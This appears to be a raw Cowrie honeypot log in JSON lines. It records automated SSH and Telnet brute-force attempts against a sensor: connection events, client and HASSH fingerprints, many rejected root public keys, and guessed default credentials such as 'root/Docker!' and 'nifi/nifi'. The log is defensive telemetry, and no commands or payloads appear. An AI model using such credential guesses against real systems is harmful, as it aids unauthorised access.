{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:e4:4d:f7:4a:3f:53:f6:00:f0:9e:99:a2:bc:47:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlIvDM9NyNKsAjUitfvVGPZOjC2QFoW4Q/gSTpiaFmQyJxW5MJZ/MTrV+bivb7ZvkqfddbKVs1pPaFV2lTjaa+nM0IvXkMObdwCci5kynkkXTYRYj3bKV6wA2zr//jwHNmTQQS7mWNfv4riF5NNr0d9Bg7EUaC6hdEHGc8SQhC3jYqpX9EWin85+mcQtivSqZaJiXqWvaR+yEEzmGgTxXa2WYNqzsGs4A/3tMco+J+XKAVxMVGYVfuXHBoKacX2mfomATcLMQibRVfaBY7TaghA9DuMldLheNi9iyJKFz3phWb2JoxvtA4EvUwwQHbN1EVtOL6gsyA2gILI2FR3WOKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.342933Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:15:0c:0d:9f:8e:89:f5:c3:e0:cc:db:04:44:2d:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXc01YauL+IMYg/4o+mFscSig/Zu1siHk2ZMvchQP12ieYHvbXnjSVcRgOBrGteW41W9Fe4kyR26Ck2yvCQDa4MrgZHvh0mM9jlvBB7vxnDtdbQn+64VhceKES9T3vlm5HwdCwZWNraEiz7cYO+7GD61365wVdVVbE8SWHe32uaMO7EJRFbb8fKU5VAVxrZeLUW+Lk7AE++s8vy44uscvgcurHAKlcqlM0AJ+X3k3vni6K4/caHs6gLUNxFdnqfXTJkG0MuIgImi/bdLBwLyZzAUf7CFmzvNqvli/FHFgXnSc5panlVy468WeoIf3+mC2Fg4hg5w6Rrzx8cyF/vY6Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:15:0c:0d:9f:8e:89:f5:c3:e0:cc:db:04:44:2d:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.351969Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:15:0c:0d:9f:8e:89:f5:c3:e0:cc:db:04:44:2d:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXc01YauL+IMYg/4o+mFscSig/Zu1siHk2ZMvchQP12ieYHvbXnjSVcRgOBrGteW41W9Fe4kyR26Ck2yvCQDa4MrgZHvh0mM9jlvBB7vxnDtdbQn+64VhceKES9T3vlm5HwdCwZWNraEiz7cYO+7GD61365wVdVVbE8SWHe32uaMO7EJRFbb8fKU5VAVxrZeLUW+Lk7AE++s8vy44uscvgcurHAKlcqlM0AJ+X3k3vni6K4/caHs6gLUNxFdnqfXTJkG0MuIgImi/bdLBwLyZzAUf7CFmzvNqvli/FHFgXnSc5panlVy468WeoIf3+mC2Fg4hg5w6Rrzx8cyF/vY6Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.354878Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.362546Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"744c4a7a372b","protocol":"telnet","message":"New connection: 152.42.224.71:33302 (10.17.0.5:23) [session: 744c4a7a372b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:31.752856Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33304,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa0d1b47686","protocol":"telnet","message":"New connection: 152.42.224.71:33304 (10.17.0.5:23) [session: 7aa0d1b47686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:35.048858Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":56544,"dst_ip":"159.203.135.109","dst_port":22,"session":"22474c692abd","protocol":"ssh","message":"New connection: 181.188.172.6:56544 (159.203.135.109:22) [session: 22474c692abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:36.362372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:36.366761Z","src_ip":"181.188.172.6","session":"22474c692abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:36.487419Z","src_ip":"181.188.172.6","session":"22474c692abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker!","message":"login attempt [root/Docker!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:37.494262Z","src_ip":"181.188.172.6","session":"22474c692abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":51466,"dst_ip":"159.203.135.109","dst_port":22,"session":"7295960a15f1","protocol":"ssh","message":"New connection: 170.238.160.191:51466 (159.203.135.109:22) [session: 7295960a15f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.165899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.169837Z","src_ip":"170.238.160.191","session":"7295960a15f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.283215Z","src_ip":"170.238.160.191","session":"7295960a15f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.708364486694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.559868Z","src_ip":"152.42.224.71","session":"95e07806ad86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.91.111.247","src_port":53610,"dst_ip":"10.17.0.5","dst_port":22,"session":"da12c8fe3844","protocol":"ssh","message":"New connection: 51.91.111.247:53610 (10.17.0.5:22) [session: da12c8fe3844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.579568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.584497Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.653333Z","src_ip":"181.188.172.6","session":"22474c692abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.671573Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nifi","password":"nifi","message":"login attempt [nifi/nifi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.769678Z","src_ip":"170.238.160.191","session":"7295960a15f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53286,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf072820fcb","protocol":"telnet","message":"New connection: 152.42.224.71:53286 (10.17.0.5:23) [session: 9cf072820fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:38.839631Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:d6:5f:90:e8:21:e0:4a:a1:5d:14:8a:d3:96:b5:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpokHxSEQeZE0dUD4f7yaZzdV0GF1MMcw3CqkzVi/xDjRiqmhj/zh/Qhc0tVjeNTOe5HkrmYFyqsrwAhrO5gxrZyY5/6FFpfnDF+ZsvG6NOwo/Dg6NXt6TFRpxyKsJxTLyWaSnG+D6JFoQptK9sqDPTSUw70qP3GEMDTJ9XyL0D/LD2hZxbC5l6KdCBZJD5Ds79gVLKmGLc+2EaeLai355SkAkOoIo2wb5S7MmMh3B6QHt62p04yDprXHVxOZ3LxFEQGjmZ5z+jc6FaBXU94aPpuJohYU4WEb07jZ+NlMjgeLcJTFdHMaTJJzrtHHzTqRyFKgXmcHHSQPnzyMFClyx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:d6:5f:90:e8:21:e0:4a:a1:5d:14:8a:d3:96:b5:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.078315Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:d6:5f:90:e8:21:e0:4a:a1:5d:14:8a:d3:96:b5:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpokHxSEQeZE0dUD4f7yaZzdV0GF1MMcw3CqkzVi/xDjRiqmhj/zh/Qhc0tVjeNTOe5HkrmYFyqsrwAhrO5gxrZyY5/6FFpfnDF+ZsvG6NOwo/Dg6NXt6TFRpxyKsJxTLyWaSnG+D6JFoQptK9sqDPTSUw70qP3GEMDTJ9XyL0D/LD2hZxbC5l6KdCBZJD5Ds79gVLKmGLc+2EaeLai355SkAkOoIo2wb5S7MmMh3B6QHt62p04yDprXHVxOZ3LxFEQGjmZ5z+jc6FaBXU94aPpuJohYU4WEb07jZ+NlMjgeLcJTFdHMaTJJzrtHHzTqRyFKgXmcHHSQPnzyMFClyx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.080739Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:14:07:f0:56:7a:b4:4f:2c:48:ea:2f:5b:47:2b:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrOUWvyPT3BWLhL86Zw1O9J5gZJrywvmQkGl3HZbBNRWePYB/Q+sezLbsxLhHlVhdZmyM45yuTZ4HI9c3xn0PITk2U8gYL7pMaiT6Cc9VmtNqetRmcczJRfrzSbcG0Egl0IfZeOHnW0MD1fvsUiW8aEYNZQTqFzAXvKAUvLDPb25Fcm56wLArdBnpG6tWt43pguMThtgJgkYaKdY9S0QehiSfsUAT64QoFONgnOwej/azq8chSZuT22yBHISESfN3Th4O9d2IMV9nW+jdSTn1KGWx4YsonAT+ZMPH+wdI16SPjO1lwspRLNqn9pwCkonXqkOUuv3xkGVMnIW5JiO9r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:14:07:f0:56:7a:b4:4f:2c:48:ea:2f:5b:47:2b:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.167321Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:14:07:f0:56:7a:b4:4f:2c:48:ea:2f:5b:47:2b:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrOUWvyPT3BWLhL86Zw1O9J5gZJrywvmQkGl3HZbBNRWePYB/Q+sezLbsxLhHlVhdZmyM45yuTZ4HI9c3xn0PITk2U8gYL7pMaiT6Cc9VmtNqetRmcczJRfrzSbcG0Egl0IfZeOHnW0MD1fvsUiW8aEYNZQTqFzAXvKAUvLDPb25Fcm56wLArdBnpG6tWt43pguMThtgJgkYaKdY9S0QehiSfsUAT64QoFONgnOwej/azq8chSZuT22yBHISESfN3Th4O9d2IMV9nW+jdSTn1KGWx4YsonAT+ZMPH+wdI16SPjO1lwspRLNqn9pwCkonXqkOUuv3xkGVMnIW5JiO9r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.174880Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:89:92:8f:1c:29:4d:5d:34:70:c0:7d:69:81:ad:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfKwUoVEFNMDQCu13vGp38EDJHn5BdBLVj+7GZW80yWLxVOAF5E5AP1zQezTSl4Y0nfVoZVv5aNcZFzZCcQ/Brb5OOzeH3aM0W/Sk244VdVjWSc9H1OIGuJoy3uU4zNlhZQsw98imh6JONrqUqDkx2KvRZTiqNw0fndhN9fifN1D4ay2n1KQFtQTI0GdYb6ya700XrLO5uSBAK/V3OvBaaPahPW1575F6Iyi1fO0hgcZWw1+CrZAjIM/du+n7lwSfLtHJK/L4g5Q+jZXdyDFnsoyjZwTnaN5jdnf2Js7Z4JSNtvNbeJxeSs8sx6kmjA6kSlcCNl7cWETbIApX2c3yl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:89:92:8f:1c:29:4d:5d:34:70:c0:7d:69:81:ad:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.261474Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:89:92:8f:1c:29:4d:5d:34:70:c0:7d:69:81:ad:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfKwUoVEFNMDQCu13vGp38EDJHn5BdBLVj+7GZW80yWLxVOAF5E5AP1zQezTSl4Y0nfVoZVv5aNcZFzZCcQ/Brb5OOzeH3aM0W/Sk244VdVjWSc9H1OIGuJoy3uU4zNlhZQsw98imh6JONrqUqDkx2KvRZTiqNw0fndhN9fifN1D4ay2n1KQFtQTI0GdYb6ya700XrLO5uSBAK/V3OvBaaPahPW1575F6Iyi1fO0hgcZWw1+CrZAjIM/du+n7lwSfLtHJK/L4g5Q+jZXdyDFnsoyjZwTnaN5jdnf2Js7Z4JSNtvNbeJxeSs8sx6kmjA6kSlcCNl7cWETbIApX2c3yl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.265555Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:5d:6a:f1:fe:41:90:5a:f0:f9:c7:dd:20:bb:52:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Ev8jNHVo7mjEcxMuTdSUT7WlVKarbmvpCJAzmOOef4wUHsj9FXpVzORlhOuFAGu/Kycng7B85I1c/u09ppJ1PsHNxrSPBn2hUjHqRv9NJhdRIbiAf90ovitcKp+52YNVDx5cT+EV5oveJQvD8PcEwMUoQqnNLhu6bH2wXYP4HIEH7UJ8mCUi+n8XR2+lptpq+/Jt6rLnrcNgKjSSsy6DGhnSMySK1e3rFUEGrUMhgQUDJQANlPKIKkpUqu/RyY2VMZU4zJfQ1Ldm4wFQEEjTbJafffT/gB38WQsrEl6wgiKrNbY6x9jyaP7pUb6GOQ0yRGRBXMuW7xLvb23819z/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:5d:6a:f1:fe:41:90:5a:f0:f9:c7:dd:20:bb:52:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.353378Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:5d:6a:f1:fe:41:90:5a:f0:f9:c7:dd:20:bb:52:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Ev8jNHVo7mjEcxMuTdSUT7WlVKarbmvpCJAzmOOef4wUHsj9FXpVzORlhOuFAGu/Kycng7B85I1c/u09ppJ1PsHNxrSPBn2hUjHqRv9NJhdRIbiAf90ovitcKp+52YNVDx5cT+EV5oveJQvD8PcEwMUoQqnNLhu6bH2wXYP4HIEH7UJ8mCUi+n8XR2+lptpq+/Jt6rLnrcNgKjSSsy6DGhnSMySK1e3rFUEGrUMhgQUDJQANlPKIKkpUqu/RyY2VMZU4zJfQ1Ldm4wFQEEjTbJafffT/gB38WQsrEl6wgiKrNbY6x9jyaP7pUb6GOQ0yRGRBXMuW7xLvb23819z/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.357811Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:24:c4:4d:f0:c0:22:48:f5:39:b8:0d:16:1e:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiz+RPtLJ5FIXlr4rzzkS4dv08CRfLa1Lw2YC8nRofDBHrqLCbNkFJY11A/sR/IJbM+sLBvnb8oArrarfL7/WMNkNs7xExsn0lfWcrXY1A94pONFar/lkmXOd7EacU03boAmsreOZto0jeEKugVMWr31Sq+MnjuCF94Bi6rIjh7Ta7lnPDd/SsZOf6T+kIuntZmSIILfKSQumoE0ZGjdYyGT6H/LSiH1xq8Qw4ntK2Dh4DRCbGvIikljGF3qWIFLOOLv0ZIuQpeBZcitgp03j0m1b3o/bVVUUKNltBFw8V/UwEFHMRJR6+aT2QZnNqK3D1kV1sj+U+iExBsACbRAKUOBQJo/HxPWtXqoTalosWWVeb2EMV87OIbtiwSKpU3jHlkCZEGDajOFZodMME5xvsHQWc8EYziRQ9iT2wBWS1oXfvVtj3WHOToR4rOMzT4R71GPD7JiehVegaGDwxmWOb5eiY80Z/STr3E4u1EFuPEDsIG6Rg/o6F8WyrjCn36NCQNyCiEArm5PWxjc3OeOBJqkIzcUz5k9XAuX0v9nGS9wUTfAbp2/cE4QX5WZDdTf9TChK5zHAGs1mwnBDC+RxVicxJuLePd4QKSUK0cnW7C2dQXLd74rIC1nBGLep4SvfbwfbctIPoeqiyCcp+cQNVuFVv8+wTf2l3b2RgGfhR8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:24:c4:4d:f0:c0:22:48:f5:39:b8:0d:16:1e:a1:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.444331Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:24:c4:4d:f0:c0:22:48:f5:39:b8:0d:16:1e:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiz+RPtLJ5FIXlr4rzzkS4dv08CRfLa1Lw2YC8nRofDBHrqLCbNkFJY11A/sR/IJbM+sLBvnb8oArrarfL7/WMNkNs7xExsn0lfWcrXY1A94pONFar/lkmXOd7EacU03boAmsreOZto0jeEKugVMWr31Sq+MnjuCF94Bi6rIjh7Ta7lnPDd/SsZOf6T+kIuntZmSIILfKSQumoE0ZGjdYyGT6H/LSiH1xq8Qw4ntK2Dh4DRCbGvIikljGF3qWIFLOOLv0ZIuQpeBZcitgp03j0m1b3o/bVVUUKNltBFw8V/UwEFHMRJR6+aT2QZnNqK3D1kV1sj+U+iExBsACbRAKUOBQJo/HxPWtXqoTalosWWVeb2EMV87OIbtiwSKpU3jHlkCZEGDajOFZodMME5xvsHQWc8EYziRQ9iT2wBWS1oXfvVtj3WHOToR4rOMzT4R71GPD7JiehVegaGDwxmWOb5eiY80Z/STr3E4u1EFuPEDsIG6Rg/o6F8WyrjCn36NCQNyCiEArm5PWxjc3OeOBJqkIzcUz5k9XAuX0v9nGS9wUTfAbp2/cE4QX5WZDdTf9TChK5zHAGs1mwnBDC+RxVicxJuLePd4QKSUK0cnW7C2dQXLd74rIC1nBGLep4SvfbwfbctIPoeqiyCcp+cQNVuFVv8+wTf2l3b2RgGfhR8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.448720Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.536339Z","src_ip":"51.91.111.247","session":"da12c8fe3844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:39.886486Z","src_ip":"170.238.160.191","session":"7295960a15f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53298,"dst_ip":"10.17.0.5","dst_port":23,"session":"f579403cb1a2","protocol":"telnet","message":"New connection: 152.42.224.71:53298 (10.17.0.5:23) [session: f579403cb1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:41.952527Z"}
